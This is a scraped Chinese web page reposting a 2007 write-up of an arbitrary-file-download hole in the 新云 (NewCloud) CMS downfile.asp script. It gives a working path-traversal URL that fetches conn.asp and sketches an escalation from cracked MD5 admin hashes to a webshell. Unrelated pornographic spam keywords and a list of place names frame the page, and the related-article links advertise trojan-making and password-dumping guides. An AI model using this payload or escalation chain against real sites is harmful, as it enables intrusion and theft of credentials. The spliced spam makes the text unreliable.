最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

新云網(wǎng)站管理系統(tǒng)任意文件可下載漏洞

 更新時間:2007年02月09日 00:00:00   作者:  
問題出現(xiàn)在flash/downfile.asp上,大家先看看代碼

<%
Dim url,strUrl,strPath
url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "\", "/")
//首先先進行一些字符的替換,'換成空,%也換成空,\換成/

If Len(url) > 3 Then
If Left(url,1) = "/" Then
Response.Redirect url //如果用戶提交的url第一個字符是/,那直接轉(zhuǎn)向url
End If
If Left(url,3) = "../" Then
Response.Redirect url //同上,意思就是不給你用../跳轉(zhuǎn)目錄
End If
strUrl = Left(url,10)
If InStr(strUrl, "://") > 0 Then //這個,汗·~~://不懂干什么用的
Response.Redirect url
End If
If InStr(url, "/") > 0 Then
strPath = Server.MapPath(".") & "\" & url //補充物理地址了
strPath = Replace(strPath, "/", "\") //替換/為\呢
Call downThisFile(strPath) //HOHO~~開始下載了
Else
Response.Redirect url
End If
End If

Sub downThisFile(thePath)
Response.Clear
On Error Resume Next
Dim stream, fileName, fileContentType

fileName = split(thePath,"\")(UBound(split(thePath,"\")))
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(thePath)
Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite stream.Read 
Response.Flush
stream.Close
Set stream = Nothing
End Sub
%>
似乎是url都處理掉了,是不可能用../跳轉(zhuǎn)目錄的。但是,他判斷../很奇怪,就判斷url的前三個字符而已。所以,嘿嘿!前三個字符不能是../,難道我后面不能是嗎?于是構(gòu)造一下url參數(shù)為"uploadfile/../../conn.asp",于是總體的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp。嘿嘿~~conn.asp文件下載下來了吧。
這套整站程序用的人還是挺多的,我甚至看到有兩個黑客類的網(wǎng)站使用它。但是不約而同的是這個漏洞都存在??梢哉f,這個漏洞是通殺現(xiàn)在網(wǎng)上所有使用新云的系統(tǒng)的,連10.18出來的sp1都沒補上。但是,很多大站都是使用sql版本的,而且主機又屏蔽了1433端口,于是,利用就成了問題。對于access的系統(tǒng),只要后臺沒改名,而且md5密碼可以通過www.cmd5.com來查詢,后臺又有著數(shù)據(jù)庫備份的功能,獲得webshell是不成問題的。

相關(guān)文章

  • QQ聊天記錄刪除了怎么恢復 詳細步驟教程

    QQ聊天記錄刪除了怎么恢復 詳細步驟教程

    許多網(wǎng)友都想知道“QQ聊天記錄刪除了怎么恢復”,因為QQ聊天記錄對于我們來說是很重要的數(shù)據(jù)。下面我們就來介紹下如何解決QQ聊天記錄刪除恢復的問題
    2012-03-03
  • QQ密碼找回方法全攻略(QQ被盜怎么要回QQ密碼呢)

    QQ密碼找回方法全攻略(QQ被盜怎么要回QQ密碼呢)

    自從本站開辦以來,不斷有網(wǎng)友來信大量重復詢問同一個問題:QQ密碼的破解。因為站長有限的精力,不可能一一作答,以后同樣的問題我將不會回覆了,您自己看這篇教程吧
    2012-09-09
  • 最新的無權(quán)限掛馬方式

    最新的無權(quán)限掛馬方式

    我寫這文章并不是教大家怎么跑去掛馬啊,掛馬是不對的!不過有的時候真的很想做些讓人覺得痛快的事情,因為我就碰到很多的管理員,你跟他說服務器有問題吧!他不信,你改些東西警告他吧,他比你還勤快,你一改他馬上覆蓋回去,讓人真的很郁悶。
    2008-04-04
  • CHM電子書木馬制作攻略教程

    CHM電子書木馬制作攻略教程

    CHM電子書木馬制作攻略教程...
    2007-06-06
  • win2003下創(chuàng)建永遠的隱藏帳戶的圖文教程

    win2003下創(chuàng)建永遠的隱藏帳戶的圖文教程

    win2003下創(chuàng)建永遠的隱藏帳戶的圖文教程...
    2007-11-11
  • 注冊表導出管理員密碼文件

    注冊表導出管理員密碼文件

    來源:紅狼 sa默認可以讀sam鍵.應該。
    2008-05-05
  • 最新評論

    天祝| 翼城县| 高台县| 洪雅县| 昆山市| 禄劝| 新绛县| 深泽县| 且末县| 双江| 吕梁市| 寿阳县| 定日县| 兴宁市| 乐都县| 遂川县| 板桥市| 富蕴县| 观塘区| 巩义市| 门头沟区| 东明县| 上虞市| 荆门市| 调兵山市| 亚东县| 凤冈县| 从江县| 合阳县| 侯马市| 盘山县| 尖扎县| 威海市| 汉川市| 广灵县| 巧家县| 满城县| 天柱县| 天津市| 东源县| 个旧市|